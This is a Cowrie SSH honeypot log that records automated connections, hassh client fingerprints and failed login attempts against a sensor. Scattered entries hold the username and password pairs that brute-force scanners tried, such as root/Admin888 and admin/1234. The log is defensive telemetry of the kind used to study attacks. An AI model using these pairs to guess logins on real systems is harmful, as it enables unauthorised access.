{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:34.005874Z","src_ip":"103.172.78.219","session":"fee6aeabf2ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bbbbb","message":"login attempt [root/bbbbb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:34.781061Z","src_ip":"103.172.78.219","session":"fee6aeabf2ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:34.807904Z","src_ip":"91.92.40.171","session":"1649e8034263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:36.042723Z","src_ip":"103.172.78.219","session":"fee6aeabf2ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49100,"dst_ip":"159.203.135.109","dst_port":22,"session":"b33f57415e5c","protocol":"ssh","message":"New connection: 91.92.42.133:49100 (159.203.135.109:22) [session: b33f57415e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:37.776282Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":50972,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2b861c295a3","protocol":"ssh","message":"New connection: 91.92.40.171:50972 (159.203.135.109:22) [session: f2b861c295a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:37.874797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:37.919568Z","src_ip":"91.92.40.171","session":"f2b861c295a3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:38.207105Z","src_ip":"91.92.42.133","session":"b33f57415e5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:38.210335Z","src_ip":"91.92.42.133","session":"b33f57415e5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:38.588996Z","src_ip":"91.92.40.171","session":"f2b861c295a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":43372,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc15ad70a53a","protocol":"ssh","message":"New connection: 27.71.230.31:43372 (159.203.135.109:22) [session: cc15ad70a53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:39.934735Z"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:40.286633Z","src_ip":"91.92.42.133","session":"b33f57415e5c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:40.722559Z","src_ip":"27.71.230.31","session":"cc15ad70a53a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:41.313158Z","src_ip":"27.71.230.31","session":"cc15ad70a53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:41.844646Z","src_ip":"91.92.42.133","session":"b33f57415e5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":50998,"dst_ip":"159.203.135.109","dst_port":22,"session":"344ea491bcae","protocol":"ssh","message":"New connection: 91.92.40.171:50998 (159.203.135.109:22) [session: 344ea491bcae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:42.584249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:42.730716Z","src_ip":"91.92.40.171","session":"344ea491bcae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:42.733771Z","src_ip":"91.92.40.171","session":"344ea491bcae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin888","message":"login attempt [root/Admin888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:43.110257Z","src_ip":"27.71.230.31","session":"cc15ad70a53a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jellyfin","password":"password","message":"login attempt [jellyfin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:43.346024Z","src_ip":"91.92.40.171","session":"344ea491bcae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:44.334250Z","src_ip":"91.92.40.171","session":"f2b861c295a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:44.480552Z","src_ip":"91.92.40.171","session":"344ea491bcae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:44.762890Z","src_ip":"27.71.230.31","session":"cc15ad70a53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58938,"dst_ip":"159.203.135.109","dst_port":22,"session":"375993b7edee","protocol":"ssh","message":"New connection: 91.92.42.133:58938 (159.203.135.109:22) [session: 375993b7edee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:45.119517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:45.720438Z","src_ip":"91.92.42.133","session":"375993b7edee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:45.723549Z","src_ip":"91.92.42.133","session":"375993b7edee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:46.527275Z","src_ip":"91.92.40.171","session":"f2b861c295a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:48.023878Z","src_ip":"91.92.42.133","session":"375993b7edee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":33438,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d44733dd215","protocol":"ssh","message":"New connection: 91.92.40.171:33438 (159.203.135.109:22) [session: 3d44733dd215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:49.439091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:49.688111Z","src_ip":"91.92.40.171","session":"3d44733dd215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:50.025612Z","src_ip":"91.92.42.133","session":"375993b7edee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:50.448187Z","src_ip":"91.92.40.171","session":"3d44733dd215","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59008,"dst_ip":"159.203.135.109","dst_port":22,"session":"357a33c8eb02","protocol":"ssh","message":"New connection: 91.92.42.133:59008 (159.203.135.109:22) [session: 357a33c8eb02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:52.726744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:53.016927Z","src_ip":"91.92.42.133","session":"357a33c8eb02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:53.019530Z","src_ip":"91.92.42.133","session":"357a33c8eb02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":33468,"dst_ip":"159.203.135.109","dst_port":22,"session":"7163e9194b30","protocol":"ssh","message":"New connection: 91.92.40.171:33468 (159.203.135.109:22) [session: 7163e9194b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:53.709415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:53.728600Z","src_ip":"91.92.40.171","session":"7163e9194b30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:53.838978Z","src_ip":"91.92.40.171","session":"7163e9194b30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:54.247033Z","src_ip":"91.92.40.171","session":"7163e9194b30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123","message":"login attempt [test/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:54.869416Z","src_ip":"91.92.42.133","session":"357a33c8eb02","protocol":"ssh"}
